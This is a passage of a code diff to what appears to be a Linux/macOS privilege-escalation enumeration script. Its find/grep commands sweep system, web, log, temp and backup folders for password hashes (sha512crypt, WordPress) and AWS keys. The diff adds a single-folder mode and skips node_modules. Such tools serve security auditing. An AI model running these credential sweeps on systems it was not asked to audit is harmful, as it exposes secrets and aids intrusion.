"s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & +print_3title_no_nl "Searching sha512crypt (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Wordpress (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & +print_3title_no_nl "Searching Wordpress (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait echo '' print_2title "Searching Raw Hashes" -print_3title "Searching sha512 (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & +print_3title_no_nl "Searching sha512 (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait echo '' print_2title "Searching APIs" -print_3title "Searching AWS Client ID (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & +print_3title_no_nl "Searching AWS Client ID (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching AWS MWS Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head 